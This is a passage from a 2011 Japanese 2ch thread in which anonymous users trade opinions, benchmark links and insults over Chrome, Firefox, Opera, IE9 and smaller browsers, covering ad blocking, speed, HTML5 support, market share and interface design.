285 :名無しさん@お腹いっぱい。:2011/04/25(月) 16:06:18.37 ID:IVHyMYrl0
>>282
世代交代しようがFlashの通信ブロックとかCSSでbackground指定された画像は読み込みブロックできないのがChromeの仕様
IronのAdblock.iniは$third-party指定できないから融通聞かないし
どうあがいてもFirefoxのAdblockには及ばない
こういう制限はAdblockだけの話じゃなくてもっとたくさんあるのが現実

286 :名無しさん@お腹いっぱい。:2011/04/25(月) 16:11:06.76 ID:KQ1HRzxs0
やはりOperaは最強過ぎて文句すら出ないか…

287 :名無しさん@お腹いっぱい。:2011/04/25(月) 16:30:39.43 ID:3gzl5tTWO
>>284
クスクス…












クスクス…

288 :名無しさん@お腹いっぱい。:2011/04/25(月) 16:49:00.58 ID:9sYZPnkg0
改行うぜえ

289 :名無しさん@お腹いっぱい。:2011/04/25(月) 17:24:06.12 ID:uj4GL+xl0
Chrome=低脳ゆとり専用ブラウザ

Opera=人生の勝ち組最強ブラウザ

290 :名無しさん@お腹いっぱい。:2011/04/25(月) 17:29:39.69 ID:MdBRVAAvP
>CSSでbackground指定された画像は読み込みブロックできない
あ?Operaの悪口は許さんぞ

291 :名無しさん@お腹いっぱい。:2011/04/25(月) 22:57:04.07 ID:KQ1HRzxs0
>>CSSでbackground指定された画像は読み込みブロックできない
>あ?Operaの悪口は許さんぞ

あ?Operaの悪口は許さんぞ

292 :名無しさん@お腹いっぱい。:2011/04/25(月) 23:36:23.08 ID:Nth0aKrD0
Opera宗教伝説

293 :名無しさん@お腹いっぱい。:2011/04/26(火) 00:18:42.81 ID:osV8lrcn0
Chromeはスキンの自己主張がウザくてブックマーク表示が微妙
Operaはgif表示がたまにおかしい
Fxは最適化しないと、どんどんCPU使用率が大きく
Ieは発展途上
サファリは知らんプニルも知らん

294 :名無しさん@お腹いっぱい。:2011/04/26(火) 00:19:43.48 ID:0w+fwh3A0
じゃあ何がいいんだよ莫迦

295 :名無しさん@お腹いっぱい。:2011/04/26(火) 00:24:12.70 ID:wtNO0Nrw0
Lunascape

296 :名無しさん@お腹いっぱい。:2011/04/26(火) 00:39:49.56 ID:WDAHre+c0
SleipnirとかLunascapeみたいな弱小田舎ブラウザは黙っててもらえませんかね
ここは最終戦争の地ですよ?

297 :名無しさん@お腹いっぱい。:2011/04/26(火) 00:47:20.27 ID:gwoL5aEK0
>>280
だからぬりかべの使い勝手がよくなってからほざけ
Chromeに行きたいけど、行けないんだよ!

298 :名無しさん@お腹いっぱい。:2011/04/26(火) 00:47:43.35 ID:osV8lrcn0
>>294
・メモリ使用量気にならない人→Fx
・表示形式が気にならない人→Chrome
・gif表示が気にならない人→Opera
・見れないページが出てきた
 時用に一応いれておきましょう→IE

299 :名無しさん@お腹いっぱい。:2011/04/26(火) 00:51:53.21 ID:FI0gDjLN0
Chromeは機能はたいして拡張できないが、Googleへの情報送信機能だけはなんとしても外さない頑固なブラウザだからなw
わざわざ選ぶようなもんじゃない
Ironは突っ込んであるが結局サブってのは殆ど使わないしな
それにそっちならIEの方がずっと融通がきいたりする

300 :名無しさん@お腹いっぱい。:2011/04/26(火) 01:11:04.53 ID:5jub2QTk0
Chrome でいいじゃん。
大抵のことはできるし。GPU機能ONにすれば文句なく速いし、
ONにしなくても、普通のページの表示は最速に近い。
セキュリティーも他ブラウザなんかとは格が違うし、
HTML5 への対応も一番進んでる。
開発速度も速いし、機能が欲しけりゃアドオン(拡張機能)使えばよし。

不満点といえば、ブックマークを左側に別フレームとして
表示できないことと、多段タブに出来ないことくらいじゃないの?

別のブラウザ使ってた人は、Chrome が出てきた当初は、
シンプルな画面でさえ批判の的にしていたが、
結局 IE も Firefox も真似してんじゃんw

301 :名無しさん@お腹いっぱい。:2011/04/26(火) 01:23:22.87 ID:WDAHre+c0
chrome側で以下のことがすべて実現できるなら乗り換えてもいいんですがどうですか?

タブ周辺強化
ダウンロード周辺強化
一体化2chブラウザ
アドオンリスト書き出し
ブックマークツールバー
ブックマーク・履歴・2ch板一覧・アドオン管理などをすべてサイドバーで開く
誤削除したブックマークを元に戻せる
ブックマークサイドバー2ペイン化
グリモン&Stylish&userchromejs
検索orロケーションバー上でページ検索も行う
ステータスをロケーションバー上に埋め込む
ボタンワンクリックで自動ログイン

302 :名無しさん@お腹いっぱい。:2011/04/26(火) 01:24:32.80 ID:gwoL5aEK0
IE×Firefox×Opera×Safari×Chrome最終戦争17回戦
http://hibari.2ch.net/test/read.cgi/software/1302338662/

もう決着ついてるし

303 :名無しさん@お腹いっぱい。:2011/04/26(火) 01:25:00.71 ID:QaSK+YzvP
自分で作れ他力本願ヤロウ

304 :名無しさん@お腹いっぱい。:2011/04/26(火) 01:26:51.27 ID:B7catwCi0
IE9の日本語版が正式にDLできるみたいなんで、すごく気になるが
まだcromeの方が早いのだろうか・・・?

305 :名無しさん@お腹いっぱい。:2011/04/26(火) 01:29:48.57 ID:vPSrtU6t0
>>301
他力本願やろうは今使ってる糞ブラウザで我慢してろカス

306 :名無しさん@お腹いっぱい。:2011/04/26(火) 01:30:32.86 ID:WDAHre+c0
も〜chrome猿は素直に不可能だって認めときゃいいんですよ

307 :名無しさん@お腹いっぱい。:2011/04/26(火) 01:47:09.88 ID:nPK2o97f0
opera  7.22秒
iron  2.23秒
chrome  5.18秒
palemoon 3.5秒

308 :名無しさん@お腹いっぱい。:2011/04/26(火) 01:50:24.58 ID:5jub2QTk0
>>302
まだ真っ只中だろ。
ttp://lhsp.s206.xrea.com/misc/browser-share.html
ttp://bizmakoto.jp/bizid/articles/1104/25/news109.html

309 :名無しさん@お腹いっぱい。:2011/04/26(火) 01:50:31.64 ID:9/OO5XAG0
IE9最強すぎた
他がゴミに見える

310 :名無しさん@お腹いっぱい。:2011/04/26(火) 02:01:03.87 ID:rEF3nkb30
速度はブラウザの性能の一部でしかない

311 :名無しさん@お腹いっぱい。:2011/04/26(火) 02:15:50.97 ID:hy5pMLo20
最新ブラウザのパフォーマンスをチェックする
http://bizmakoto.jp/bizid/articles/1104/25/news109.html
最低がFirefox

312 :名無しさん@お腹いっぱい。:2011/04/26(火) 02:22:09.33 ID:8gmwigXv0
>>311
FireFox糞すぐるwww
これで糞重いアドオンつけたらどうなんだよwwww

313 :名無しさん@お腹いっぱい。:2011/04/26(火) 02:29:21.21 ID:7WmC/Rm/0
落ち目のおわこんウンコフォックスを使ってるのは情弱キモオタだけw

314 :名無しさん@お腹いっぱい。:2011/04/26(火) 02:32:34.60 ID:HMLkKVOS0
低スペにおいてはOperaの独擅場だな

315 :名無しさん@お腹いっぱい。:2011/04/26(火) 04:10:48.87 ID:zSNoJWOY0
▼Google日本語入力を使っていると
Opera11.10がフリーズしたので
タスクマネージャーで強制終了した。
ページファイルが 3926M/4826M を示している。
32ビットOSだというのにこんなに積みあがっている。
ある発見をした。タスクマネージャーで強制終了しても
Opera11.10が使用していると思われる、
約2500M程のページファイルを開放してくれない。
▲これはMS-Windowsの重要な仕様バグだと思いたい。

316 :名無しさん@お腹いっぱい。:2011/04/26(火) 10:09:48.10 ID:dD9+Rxqo0
>>311
記者の悪意を感じる

317 :名無しさん@お腹いっぱい。:2011/04/26(火) 10:37:42.49 ID:RRveHCYf0
都合の悪い事実を受け入れられないのがFireFox厨の特徴だよね。
同じGPU支援のない候補版のIE9にさえ劣ってるのに、
言いわけは通用しないだろ。

318 :名無しさん@お腹いっぱい。:2011/04/26(火) 10:40:40.73 ID:dnItl/Hc0
速さにたいした差が無いから拡張性が優先されてるだけだろ
何言ってんだこいつ

319 :名無しさん@お腹いっぱい。:2011/04/26(火) 10:44:43.93 ID:RRveHCYf0
最後のテストとかFFは他のより倍以上かかってるのに、目くらなのお前?

320 :名無しさん@お腹いっぱい。:2011/04/26(火) 10:53:08.90 ID:n9zu8CSK0
いまでもFirefox厨やってる奴は速度は二の次だって理解しろ
拡張性能こそが至高と思ってるんだから、速度がー言われたところで「で?」なわけ
その辺を理解しないでベンチ遅いFirefox遅いとか言ってる情弱が多くて困る

321 :名無しさん@お腹いっぱい。:2011/04/26(火) 10:56:11.28 ID:dnItl/Hc0
100枚近くも画像貼られてるようなサイト1年に何回も行かねーよ
そんなとこより通常サイトでの使い勝手を優先するね

322 :名無しさん@お腹いっぱい。:2011/04/26(火) 11:04:42.69 ID:RRveHCYf0
はいはいwww
お前らはともかく、シェア取られまくりで開発陣は外観まで
Chromeの猿真似して意識しまくってるが?www
せいぜい内に引きこもってガラパゴスしてろ。

323 :名無しさん@お腹いっぱい。:2011/04/26(火) 11:10:57.84 ID:n9zu8CSK0
なんだ猿の人か
またファビョって荒らすなよ

324 :名無しさん@お腹いっぱい。:2011/04/26(火) 11:12:02.19 ID:9/OO5XAG0
Firefox(笑)

325 :名無しさん@お腹いっぱい。:2011/04/26(火) 11:12:28.08 ID:dnItl/Hc0
ずっと前からオレはぬり壁の使い勝手が良くなれば
Chromeに移行したいって言ってるんだけどな

326 :名無しさん@お腹いっぱい。:2011/04/26(火) 11:14:25.11 ID:RRveHCYf0
お前のIDなんかいちいち観察してねえよwww

327 :名無しさん@お腹いっぱい。:2011/04/26(火) 11:16:55.94 ID:dnItl/Hc0
だめだこいつバカだ

328 :名無しさん@お腹いっぱい。:2011/04/26(火) 11:39:28.47 ID:BP/FO3Un0
ウンコフォックス()

329 :名無しさん@お腹いっぱい。:2011/04/26(火) 12:58:12.32 ID:dNlKQL0hO
勝利者クロムの新しいアイコンがかわいくてワロタ。早くバージョンアップしろ

330 :名無しさん@お腹いっぱい。:2011/04/26(火) 14:27:37.50 ID:qS2KE6cb0
>>320
特定のブラウザをゴリ押ししてる人ってそういう感覚がズレてるよね
かつてFirefoxが流行りだした頃にマンセーしてた人たちと同じ人種なんだろうな

331 :名無しさん@お腹いっぱい。:2011/04/26(火) 14:28:03.46 ID:FI0gDjLN0
ヤッター、勝利者だ

でも、使わないけどなw
Ironだわ、あの系列で使うならw

332 :名無しさん@お腹いっぱい。:2011/04/26(火) 16:33:50.74 ID:30iTCmX90
久しぶりにチョロメ厨が暴れてるから何かあったのかと思ったらIE9正式版来てたのか
速さじゃIE9に、拡張じゃFirefoxに、ネタじゃOperaにと全く存在意義がなくなって大変そうだな

333 :名無しさん@お腹いっぱい。:2011/04/26(火) 16:39:42.53 ID:9vHfBAxr0
GoogleにはWebMを頑張ってもらいたい

334 :名無しさん@お腹いっぱい。:2011/04/26(火) 17:12:12.79 ID:dNlKQL0hO
>>332
普通にネットしててie9やファイアフォクスがクロムより速いと感じるやついないだろw
起動から検索からブラウジンクからマップからyoutube再生から何から何まで。

335 :名無しさん@お腹いっぱい。:2011/04/26(火) 18:05:15.19 ID:FI0gDjLN0
えー(笑)

それにスピードは性能の一部でしかないよ
使い勝手が下回れば結局手がかかる

336 :名無しさん@お腹いっぱい。:2011/04/26(火) 18:26:22.08 ID:YJrkBdVF0
chromeが最終戦争に勝った?w
笑わせないでくれ
怒涛の猛進を繰り広げどんどんfirefoxに追いより
今やchromeの時代だ とみんな思うぐらいすごくなっただけで
まだ実質firefoxにすら勝てていないではないか

337 :名無しさん@お腹いっぱい。:2011/04/26(火) 18:36:16.82 ID:BzeC3cWIP
勝てる勝てないとか実証データあるん?


338 :名無しさん@お腹いっぱい。:2011/04/26(火) 18:41:44.58 ID:mmLzZUy00
タブを山形にするという意味のない行為をやめてくれたらChromeを使ってやっても良いぞ

339 :名無しさん@お腹いっぱい。:2011/04/26(火) 18:45:47.29 ID:dKjxjBG/0
>>338
山形のどこが気にくわないの?

340 :名無しさん@お腹いっぱい。:2011/04/26(火) 18:46:09.98 ID:YJrkBdVF0
>>338
重なってるから実質サイズは変わらんだろ

341 :名無しさん@お腹いっぱい。:2011/04/26(火) 18:48:44.25 ID:nPK2o97f0
http://windows.microsoft.com/ja-JP/internet-explorer/products/ie-9/compare-browsers
Firefoxディスりすぎわろた

342 :名無しさん@お腹いっぱい。:2011/04/26(火) 18:50:39.00 ID:us1f0UiJ0
これでまたFox厨が発狂するな

343 :名無しさん@お腹いっぱい。:2011/04/26(火) 18:53:37.71 ID:BzeC3cWIP
http://www.youtube.com/watch?v=oa9m3OES3E8
俺のPCでChromeとFirefoxの起動時間を比べてみた。

Firefoxの遅さに嫉妬しちゃうw

344 :名無しさん@お腹いっぱい。:2011/04/26(火) 18:54:13.87 ID:rEF3nkb30
>>341
「使いやすさ」の項目が殆どいらない大きなお世話になっているのが笑えるけどな

いいなーと思えるのは、

ソーシャル エンジニアリング によるマルウェアに対する防御
H.264 でエンコードされた HTML5 ビデオをサポート

この二つしかない

345 :名無しさん@お腹いっぱい。:2011/04/26(火) 18:56:15.10 ID:us1f0UiJ0
早速きたw

346 :名無しさん@お腹いっぱい。:2011/04/26(火) 18:59:51.55 ID:FI0gDjLN0
一応Ironも入ってるんだぜw
カスタマイズもすませてあるし

あまり使えないだけw

347 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:01:10.06 ID:BzeC3cWIP
>>343
ちなみに環境は、Core-i7-940 Win7x64 メモリー16GB

もっとも起動が遅いFirefoxは、「起動直後もHDDガリガリ読み込み終わらない」
激重くてメニュー操作でカクつく上に、バージョン情報のウィンドウが激重くてw ×を押してもすぐに閉じない有様w




348 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:05:16.82 ID:qS2KE6cb0
単にシェアのことなら社会インフラ化してるIEは別格として
Google Chromeはまだ勝ったとは言えない状況
http://lhsp.s206.xrea.com/misc/browser-share.html

349 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:11:16.11 ID:dKjxjBG/0
>>348
world-wide で考えれば、いずれ Firefox を 抜く可能性はあるね。
っていうか、Firefox と Chrome は結構似てきているわけで、
コミュニティーが合体すればいいと思う。Chromium & Firefox で統一すれば、IE と対抗出来る。

350 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:12:01.45 ID:dKjxjBG/0
貼り忘れてた。世界全体の推移
ttp://gs.statcounter.com/#browser-ww-daily-20100401-20110401

351 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:17:23.99 ID:FI0gDjLN0
>>347
信じられないなぁw

っていうか、そのPC壊れてるんじゃないのw?

352 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:20:44.97 ID:nkcNHMyF0 ?2BP(777)
週刊アスキー編集部による
IE9 vs Chrome10 vs Firefox4速度比較(FishBowl Benchmark) Part1
http://www.youtube.com/watch?v=Zd1UGA-BRSQ
IE9 vs Chrome10 vs Firefox4速度比較(FishBowl Benchmark) Part2
http://www.youtube.com/watch?v=OAnoUauOfXY


353 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:21:58.78 ID:qS2KE6cb0
>>349
国内シェアも二、三年後は抜いてると思う
やっぱりメディア露出の差は大きいよ
あまり関心のない人にもウェブブラウザは選べるものだと広まり始めたもの

354 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:22:26.55 ID:nkcNHMyF0 ?2BP(777)
実際に試してみるといい
ベンチマークのURL→http://p.tl/Q5tw


355 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:25:16.32 ID:BzeC3cWIP
>>354
さすがIE9だわw 魚の数2000にしても50FPS超えてる。


356 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:29:15.49 ID:dKjxjBG/0
>>353
>メディア露出の差は大きい
まさにその通り。日本は、テレビメディアの影響が大きすぎる国の一つだしなぁ。
ま、宣伝しても別に悪くない出来だから、いいとは思う。
アップデートが自動的に行われる分、一般人にとっては、受ける利益が大きい気がする。
XP でも IE は 6→8にアップデートできるのに、していない人が多かったのが事実だしねぇ。
IEを使い続ける人は、そもそもブラウザを変化させる事自体をしない、
つまり、アップデートすらしない人が多いわけで、IE9 は普及に苦労するだろうね。



357 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:29:40.84 ID:nPK2o97f0
>>355
IE9用に用意されたページで当たり前だろ

358 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:30:29.22 ID:BzeC3cWIP
>>357
Chrome用や、Firefox用のサイトを教えてくれ。

359 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:34:10.98 ID:nkcNHMyF0 ?2BP(777)
ベンチマークが正規のHTML5表現で書いてる以上
IE向けとかChrome向けとかって考えは無意味に近いと思う

本当にブラウザごとにカスタマイズして早くなるなら、
Googleなら、すぐにオープンなサイトをオープンするだろう。
Googleの自前サイトはIE閲覧不可とか締め出してFirefoxに対する優位性を誇示したりと手が込んでる。


360 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:44:04.92 ID:dKjxjBG/0
>>358
Chromeは有名だね。
Chrome:http://www.chromeexperiments.com/
(IE,Fxは、まだ実装していない機能も多く、動くことすらできないものも結構見られる。)



361 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:46:26.24 ID:dKjxjBG/0
>>359
IE9 の HTML5 対応状況は非常に悪い。
ダントツに悪い言っても過言ではない。
ttp://html5test.com/results.html

webデザイナーなどの間では、「IEが出来ない子」というのは
共通認識らしい。

362 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:54:13.29 ID:dKjxjBG/0
Firefox VS Chrome で考えると、

技術系ニュースサイトでは、既にChrome が Firefox を抜いている。
ttp://www.techdoll.jp/2010/10/12/chrome_beats_firefox/

また、アメリカでは、通常のサイト閲覧でも、Chrome が Firefox 抜いた可能性すらある。
ttp://gs.statcounter.com/#browser_version-US-daily-20100401-20110401
(灰色の点線がChrome10)

363 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:55:54.11 ID:qd5SaB9E0
最初はPCのパワーを思う存分ブラウザに!ってことで、
AppleのSafari借りてきて、最強Javascriptエンジン乗っけて、
どうや!オマエラも見習えや。真似しろや。

ぐらいのノリだったはずなのに…権力の魔力って怖いな

未だに有力実用WebアプリがGoogle以外から何も登場しない現状…
Androidでも、結局ネイティブアプリが前面に。

ChromeOSの話題もあまり聞かなくなったし、
Google教の説くHTML5の未来もだいぶ胡散臭くなってきた。

364 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:56:13.55 ID:clQa+KIFP
フラッシュサンドボックスとかってクロミウムにはないのかなぁ
あるならアイアンにも付くはずなのにないってことはそういうことなのかなぁ

365 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:56:47.49 ID:BzeC3cWIP
http://blogs.msdn.com/b/ie/archive/2011/04/12/native-html5-first-ie10-platform-preview-available-for-download.aspx
IE10のプラットフォームプレビューを見つけた。
落としてHTML5の対応状況みたらIE9と同じスコアでワロタ。
けど実行速度は相変わらずというか糞っぱやいね。Chromeのサイトで動くのだけフレーム表示できるアプリ併用で試したけど、IE9のほうが速いね。倍以上速い。
けど対応してないページ多すぎてワロタ

>>361
出来ない子というより、Webデザイナー的には、IE8以前に対応がまだ必須事項なんでw。
まだ、あと数年は現状のまま、何もかわらないんじゃないっすか


366 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:57:12.67 ID:YJrkBdVF0
>>362
chromeもあと少しでfirefoxを抜くってか

367 :名無しさん@お腹いっぱい。:2011/04/26(火) 19:59:31.50 ID:BzeC3cWIP
>>363
実用的なウェブアプリなら一般向けじゃなくて業務用なら結構でてるけどね。
http://pjd.mscui.net/default.htm
医療用ウェブアプリの動作デモ。ランチから起動できるぉ。


368 :名無しさん@お腹いっぱい。:2011/04/26(火) 20:08:14.94 ID:dKjxjBG/0
>>363
別にHTML5 に対してネガるのは勝手だが、
アンタがどう思おうが、ブラウザ各社はHTML5 対応に躍起。
(IEは初め「俺が法律だ!HTML5ってなにそれ美味しいの?w」という、
 いつもの身勝手行動をとっていたが、Fx,Chromeにブラウザのシェアが本格的に奪われてきて、
  「俺もHTML5対応に今後真面目に取り組みます。」って言い出した所。)

だから、どのようにネガったところで、HTML5 の対応は急速に進む。

369 :名無しさん@お腹いっぱい。:2011/04/26(火) 20:10:21.36 ID:dKjxjBG/0
>>363
ちなみに、Android は、スマホ、タブレットで大躍進だよ。
いずれ、Androidが標準になるし、スマホ自体、一家に一台どころか、
一人一台の時代がやってくる可能性がある。
Chrome OS は確かに下火。ただ、Android と融合する可能性はある。

370 :名無しさん@お腹いっぱい。:2011/04/26(火) 20:14:27.75 ID:8U3q2JHp0
もしブラウザが世界に1種類だけになったら?

 その会社はやりたい放題である。

 次のバージョンからは以下の操作は有料オプションになります。

 「前のページに戻る」
 「ブックマークに登録する」

 さらに通信各社と結託し、

 「HTTPSプロトコル通信は、定額の固定回線でも
  定額サービス対象外でパケット有料になります。」

 ということも可能になる。 

371 :名無しさん@お腹いっぱい。:2011/04/26(火) 20:15:19.48 ID:dKjxjBG/0
>>362
あ、間違ってるね。灰色の点線は、殆ど 「Chrome(が大部分ではあるが) + Firefox4 」だから、
まだ抜いてはいない。ただ、もうちょいだな。


372 :名無しさん@お腹いっぱい。:2011/04/26(火) 20:15:55.52 ID:nkcNHMyF0 ?2BP(777)
今後、パソコン用OSとの統合がもっとも進むスマートフォンOSは何かという観点に立つと
AndroidもiPhoneも一家に1台の時代は微妙に見えてくる。


373 :名無しさん@お腹いっぱい。:2011/04/26(火) 20:21:44.88 ID:dKjxjBG/0
>>372
現状を認識しろ。既に出荷台数は、PCを越えている。
ttp://www.itmedia.co.jp/news/articles/1102/09/news009.html
ttp://blogs.itmedia.co.jp/kichi/2011/04/pc-d121.html
などなど。

携帯電話が一人一台の時代が来たように、スマートフォンが一人一台の時代が
来る可能性は十分あるし、そうなるであろうと考えられている。


374 :名無しさん@お腹いっぱい。:2011/04/26(火) 20:28:08.72 ID:BzeC3cWIP
その比較は無意味かにゃぁ
PCと携帯電話は別物だから、利用シーンが全く違う。

それはさておき、ここは、パソコンのブラウザのスレです。
スレチ。荒らしかおまえワロタ


375 :名無しさん@お腹いっぱい。:2011/04/26(火) 20:29:27.31 ID:qd5SaB9E0
>>367
ほお。実はこちとら本職は医療関係なので、非常に興味深く見さしてもらったわ。
これはまた、ずいぶんと未来指向のシステムですな。
少なくても操作性やUIのデザインは。

救急のリアルタイムなモニタリングの電子化や、放射線画像の3D化なんかは
今まさに日進月歩で進んでる分野だしな。こういうものがあれば確かに便利。

ただカルテは便利さよりも、クラッシュや、バグ・ミスを起こさない堅牢さと
セキュリティと、必要に応じて即座に変更できる点が最重要視されているから、
こういうエレガント過ぎるアプリは、その点どうなの?って気はするけどね。

まあ、かなりインスピレーション湧いたわ。結構感動した。
スレチは承知だが>>367紹介トンクス

376 :名無しさん@お腹いっぱい。:2011/04/26(火) 20:40:24.70 ID:dKjxjBG/0
>>374
>>363にコメントしただけだよ。お前に言っているわけじゃないしw
それとスマホも Firefox や Opera 搭載できるわけだから、スレチじゃないと思うよ。
何お前勝手にPC限定にしちゃってるの?
いずれ、スマホがPC台数超えること考えれば、スマホから見えるのも重要だし、
「Firefox や Opera 」は、携帯やスマホでも動く!ということを
重要なセールスポイントにしている。

これだからIE厨は自己中って言われるんだよwww


377 :名無しさん@お腹いっぱい。:2011/04/26(火) 20:41:54.07 ID:YJrkBdVF0
発 者 同         . 。_   ____           争
 生 同 .じ     .    /´ |  (ゝ___)          い
 .し 士 .レ      .__/'r-┴<ゝi,,ノ   ro、      は、
 .な で .ベ      ∠ゝ (ゝ.//`   ./`|  }⌒j
 .い し .ル        } ⌒ /`ヽ、_∠l,ノ ・ヽ´
 .! ! か の       /  ´..:.} >、、___,  .r、 ソ、`\
             /   ..:.:.}   /   |∨ ` ̄
            /   ..:.:./    |   丶
           / _、 ..:.:.:.{    .{.:.:.   \
          {   ..:Y  .ゝ、   {.:.:.:.:.    ヽ
          |、  ..:/ 丿 .:〉   >.- ⌒  .  ヽ
          / {. ..:./ ソ ..:./  .(    ..:.:.:`  ..:}
         ./..:.:}.:.:./ ヘ、 ..:./   .\ ..:.:r_,ノ、.:.:}
        ./..:.:/|.:/   {.:./     X.:.:}.}   X X
        /..:.:/ .}.:|    }:/       .Y丶ヽ  Y.:Y
  . __/.:/ { }  《.〈、     _,,__>.:》丶   Y.:\
  /.:.:.:.:.::/   !.:.:ゝ  ゝ.:. ̄ヾ ´:.:.:.:.:.:.:.:.:ヾゝ   \.: ̄>


378 :名無しさん@お腹いっぱい。:2011/04/26(火) 20:45:21.36 ID:clQa+KIFP
AAずれとか哀れ

379 :名無しさん@お腹いっぱい。:2011/04/26(火) 20:48:48.81 ID:YJrkBdVF0
>>378

 発 者 同         . 。_   ____           争
 生 同 .じ     .    /´ |  (ゝ___)          い
 .し 士 .レ      .__/'r-┴<ゝi,,ノ   ro、      は、
 .な で .ベ      ∠ゝ (ゝ.//`   ./`|  }⌒j
 .い し .ル        } ⌒ /`ヽ、_∠l,ノ ・ヽ´
 .! ! か の       /  ´..:.} >、、___,  .r、 ソ、`\
             /   ..:.:.}   /   |∨ ` ̄
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          |、  ..:/ 丿 .:〉   >.- ⌒  .  ヽ
          / {. ..:./ ソ ..:./  .(    ..:.:.:`  ..:}
         ./..:.:}.:.:./ ヘ、 ..:./   .\ ..:.:r_,ノ、.:.:}
        ./..:.:/|.:/   {.:./     X.:.:}.}   X X
        /..:.:/ .}.:|    }:/       .Y丶ヽ  Y.:Y
  . __/.:/ { }  《.〈、     _,,__>.:》丶   Y.:\
  /.:.:.:.:.::/   !.:.:ゝ  ゝ.:. ̄ヾ ´:.:.:.:.:.:.:.:.:ヾゝ   \.: ̄>

>>376
後半理論が破たんしてるぞ

380 :名無しさん@お腹いっぱい。:2011/04/26(火) 20:59:03.56 ID:dKjxjBG/0
>>379
AAずれ修正おつかれさんwww

381 :名無しさん@お腹いっぱい。:2011/04/26(火) 22:02:43.82 ID:YJrkBdVF0
>>380
バカめ 全角空白一つ打ち込むだけで疲れるわけがない

382 :名無しさん@お腹いっぱい。:2011/04/26(火) 22:04:16.25 ID:xyqv0uO00
いいよいいよ
最終戦争とはいかなくても不毛な雰囲気が漂ってきたね
もうちょっとがんばろうか

383 :名無しさん@お腹いっぱい。:2011/04/26(火) 23:07:46.20 ID:D6x1dnBB0
Firefox4は確かに糞ですよ。Nightly x64ならIE9に引けを取らない速さでのブラウジングと
余りある拡張性の両立が可能です。上級者仕様というやつですかね、

384 :名無しさん@お腹いっぱい。:2011/04/26(火) 23:19:37.47 ID:hkWwbM8O0
上級仕様っていうか、厨2仕様って感じかな

385 :名無しさん@お腹いっぱい。:2011/04/26(火) 23:41:12.48 ID:D6x1dnBB0
つまらない人間ですね。

386 :名無しさん@お腹いっぱい。:2011/04/26(火) 23:45:56.43 ID:qb+jANzt0
確かに、中二を恐れる者には何も生み出せない

387 :名無しさん@お腹いっぱい。:2011/04/27(水) 02:06:53.56 ID:mRp+Fnfx0
http://pls.xrea.jp/
pasmenu早くIE9に対応してくれ!
ってか誰かいじれない?

388 :名無しさん@お腹いっぱい。:2011/04/27(水) 04:04:09.11 ID:v4LiCn4/0
ブラウザ戦争も、ほぼキラーアプリが決定権を持つ時代が来たな
アドオンを1つ作ったら全部で動くとかだったら
絶対Chrome使ってるんだが・・・

389 :名無しさん@お腹いっぱい。:2011/04/27(水) 04:12:57.38 ID:0Qc8SeKu0
>>388
>アドオンを1つ作ったら全部で動くとかだったら
どう言う意味?Firefox のアドオンが Chrome でも動けば、ってこと?

390 :名無しさん@お腹いっぱい。:2011/04/27(水) 06:21:38.65 ID:2Q9ca1Be0
クロームのスキンさえどうにかしてくれれば考えてやらんことも無い
自己主張ウザすぎ
OSのデザインにあわせろよマジで

391 :名無しさん@お腹いっぱい。:2011/04/27(水) 06:54:31.92 ID:JyXpcndG0
Win,Mac,Linuxのどれに合わせたらいんだ?

392 :名無しさん@お腹いっぱい。:2011/04/27(水) 06:55:53.34 ID:2Q9ca1Be0
おまえあほやろ



393 :名無しさん@お腹いっぱい。:2011/04/27(水) 07:04:26.82 ID:efJCFI920
むしろどのOSなら合ってないんだ?
WINでもMACでもLINUXでもそれなりに上手に溶け込んでると思うけど?

394 :名無しさん@お腹いっぱい。:2011/04/27(水) 07:11:32.33 ID:2Q9ca1Be0
どうやったら溶け込んでるようにみえるんだ
スタイルあってないだろ


395 :名無しさん@お腹いっぱい。:2011/04/27(水) 07:35:07.73 ID:sGM/qcxOP
まったくあってないね。
昔はやったWinAmpみたいな違和感は確かにある

けど気にするようなことではないかもw


396 :名無しさん@お腹いっぱい。:2011/04/27(水) 07:39:45.31 ID:0Qc8SeKu0
>>394
透明スキンでも入れておけww


397 :名無しさん@お腹いっぱい。:2011/04/27(水) 07:51:44.65 ID:H2JIIHm4O
そこまで違和感ないな

398 :名無しさん@お腹いっぱい。:2011/04/27(水) 08:10:41.87 ID:sGM/qcxOP
>>397
そりゃセンスないな

普段着とかどんなの着てるんだ?

399 :名無しさん@お腹いっぱい。:2011/04/27(水) 08:14:47.99 ID:8PACHqcZ0
ブラウザではChromeが一番見た目がいいだろ、シンプルだけどスタイリッシュだし
IE9の酷さ、あれは駄目だろ使う気になるのか
Firefoxのデザインは厨2病がただよってるしな

400 :名無しさん@お腹いっぱい。:2011/04/27(水) 08:18:10.88 ID:2Q9ca1Be0
見た目よくねーよ
ウィンドウはOSのスタイルに統一されるべき

401 :名無しさん@お腹いっぱい。:2011/04/27(水) 08:23:09.06 ID:ChPN0+mS0
>>400
だから、透明にすりゃいいじゃん。情弱か?

402 :名無しさん@お腹いっぱい。:2011/04/27(水) 08:24:40.32 ID:2Q9ca1Be0
なんでクロームのためにわざわざ透明にする必要があるんだよカス


403 :名無しさん@お腹いっぱい。:2011/04/27(水) 08:27:28.54 ID:8PACHqcZ0
>>ウィンドウはOSのスタイルに統一されるべき
意味が分からんが、なんでお前が勝手に統一されるべきとか決めるのか
ウィンドウがOSのスタイルの統一されてるブラウザてどれだ


404 :名無しさん@お腹いっぱい。:2011/04/27(水) 08:33:43.26 ID:ChPN0+mS0
ID:2Q9ca1Be0 は、どこあたりが統一されていないと考えてんだ?
もしかして、タブが山形ってやつ?w

